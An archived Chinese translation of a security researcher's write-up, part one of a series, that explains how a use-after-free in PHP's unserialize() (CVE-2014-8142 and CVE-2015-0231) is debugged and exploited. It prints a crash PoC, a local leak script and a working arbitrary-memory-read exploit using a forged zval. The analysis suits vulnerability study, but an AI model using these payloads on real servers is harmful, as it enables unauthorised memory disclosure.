# PHP中的内存破坏漏洞利用（CVE-2014-8142和CVE-2015-0231）（连载之第一篇）

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-02-10T02:14:00Z
Canonical: https://wepostx.com/topics/710

> 乌云历史资料归档
>
> **原始作者：** Chuck
> **原始编号：** superkieran-wooyundrops:469
> **原始发布时间：** 2015-02-10 10:14
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

作者：Cigital公司的安全顾问Qsl1pknotp
题目：Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 1
地址：http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html
很多人都认为，对基于Web的应用程序来说，内存崩溃类bug不是什么严重问题。尤其现在XSS和SQL注入类漏洞仍然大行其事的情况下，不会有多少注意力投入到这类bug中，它们会被当做“不可利用”或者被直接无视。然而，假如攻击成功，利用这类漏洞进行攻击所导致的结果将远远超出SQL注入以及XSS，因为：

```text
1. 攻击者将得到有保证的系统访问权。 2. 将会很难识别恶意攻击数据流量。 3. 需要维护者/供应商提供专门补丁，并且只能希望修补得没有问题。
```
接下来笔者将发表三篇该系列攻击的文章，本文是其中的首篇。该系列将从CVE-2014-8142的利用开始讲起、然后是远程任意信息泄露、最后以获取PHP解释器的控制权结束。Stefan Esser（@i0n1c）是这两个CVE的原作者，并且是在2010年Syscan上第一个讲解如何控制PHP解释器（被称为“ret2php”）的。

# 0x01 漏洞起源

这一切都始于2004年，Esser在unserialize()函数中发现的一个Use After Free漏洞。这是一个Hardened-PHP（译者注：如果项目中，服务器的安全性是最重要的，就可以称为是Hardened-PHP）项目的一部分，没有任何代码公开。2010年，Esser又在SPLObjectStorage的unserialize()中发现另一个User After Free，这个漏洞直接产生了Syscan会上的一个发言，跟第一次漏洞一样，本次也没有代码公开。最后，CVE-2014-8142被发现，又被打补丁，但是因为补丁没打好，又导致了CVE-2015-0231。
幸运的是，这次Stefan终于给出了一个可令PHP解释器产生故障的POC。下面的代码就会导致有此漏洞的PHP解释器出现问题。

```text
#!php <?php for ($i=4; $i<100; $i++) { var_dump($i); $m = new StdClass(); $u = array(1); $m->aaa = array(1,2,&$u,4,5); $m->bbb = 1; $m->ccc = &$u; $m->ddd = str_repeat("A", $i); $z = serialize($m); $z = str_replace("bbb", "aaa", $z); var_dump($z); $y = unserialize($z); var_dump($y); } ?>
```
source: [StefanEsser_Original_POC](https://gist.github.com/tmm08a/d07bfcb4eca90a6d3926#file-stefanesser_original_poc)

# 0x02 漏洞分析利用

下面来解释下POC是如何工作的：我们通过重新添加“aaa”对象的值（不同值），来更新对象“aaa”，然而“ccc”对象其实还是指向原始“aaa”对象中的某一个值。
既然我们已经在顶层实现上知道了它的工作原理，接下来就让我们一起试着找到问题的罪魁祸首吧。我们在process_nested_data函数中寻找，快速浏览一下，会发现一段特定的代码：

![原文图片](/media/2016/06/033a2729937a64a4991bd5fee5067110)

让我们一起跟进脚本中来确定真正发生了什么。我们将断点断在var_unserializer.c的第337行来看一下（此处位于process_nested_data函数内）。

![原文图片](/media/2016/06/0125cdce1dce57ca6718a89dae6b4ebb)

继续运行，跟过下面的代码：

```text
#!php <?php $data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}'; $x = unserialize($data); var_dump($x); ?>
```
source:[StefanEsser_Original_LocalMemLeak.php](https://gist.github.com/tmm08a/686d3f78a44c8ea80fd0#file-stefanesser_original_localmemleak-php)
运行上面的脚本，断点第一次命中时跳过，第二次命中时，执行下面的查看命令：

```text
#!php printzv *(var_entries)var_hash->first
```

![原文图片](/media/2016/06/d7e4568dc7d4a995d7b3a3d3ee5b0cc6)

可以看到地址的一个数组，这些地址指向unserialize()函数解析的变量值。我们感兴趣的是第五个0xb7bf87c0（我们上面php代码中用的是R:5）。既然已经得到地址，我们就去看一下内容，然后步过该断点并继续运行。

![原文图片](/media/2016/06/30a3e8f56ae7d9b1628b4ff1399aab72)

已经调用完该可疑函数，接下来重新看一下刚才我们选定的地址中出现了什么内容：

![原文图片](/media/2016/06/24d35ac76dd4a193abc4c94c71c10085)

成功搞定！当然，还需要确认下该地址是否还在var_hash表中，然后继续运行。

![原文图片](/media/2016/06/d38a8a8ecb3f0df2dc32b84f891a0029)

果然还在，继续：

![原文图片](/media/2016/06/a9c174052835d2723b50287c939e4308)

Sweet！已经可以泄露前面地址中的数据了。我们现在已经可以成功泄露出之前所提供字串的长度，但这其实没什么意思。那么能不能泄露出任意内存数据呢？下面就是你想要的代码：

```text
#!php <?php $fakezval = pack( 'IIII', //unsigned int 0x08048000, //address to leak 0x0000000f, //length of string 0x00000000, //refcount 0x00000006 //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7 ); //obj from original POC by @ion1c $obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}'; $obj=unserialize($obj); for($i = 0; $i < 5; $i++) { //this i value is larger than usually required $v[$i]=$fakezval.$i; //repeat to overwrite } //due to the reference being overwritten by our loop above, leak memory echo $obj->ccc; ?>
```
source: [PHPLeak](https://gist.github.com/tmm08a/4c3130001a258e45d39f#file-phpleak)
下面是输出数据：

![原文图片](/media/2016/06/1470608bcc4e975ea73fed06e3a3a329)

我们这里做的操作是非常简单的（希望是）。我们创建自己的ZVAL（PHP使用的内部数据结构）数据结构。我们定义了几个东西，使pack（）函数获取我们的代码执行。按照顺序，它们是：

```text
类型（例子中用的是unsigned int） 地址（我们想要泄露的地址） 长度（我们想要泄露内存的长度） 参考标志（0） 数据类型（6，代表String类型）
```
当然，如果我们没有伪造一个string ZVAL结构，这些值是会变化的。代码中的for循环是真正执行内存覆盖操作（覆盖之前释放掉的内存），这些操作使我们得到上述的输出数据。代码中我令循环数$i的值大于其所需的值，只是用以确保代码的通用性，当然我测试过的大多数机器只需要2次就可以了，不需要执行5次。
好了，现在已经可以泄露随意地址数据了，让我们再一起看看CVE-2015-0231？很简单：只需将“aaa”替换成“123”，看一下输出的数据：

![原文图片](/media/2016/06/959015e843d7426b731a7bebd3044121)

# 0x03 下一步研究

通过上述过程，我们已经完成了一个可在本地泄露任意内存地址数据的POC，且该POC同时适用于两个CVE漏洞的。我们下一步目标是仍然是数据泄露，所不同的是，将会是远程数据泄露！
敬请期待第二回，远程数据泄露！

## Replies
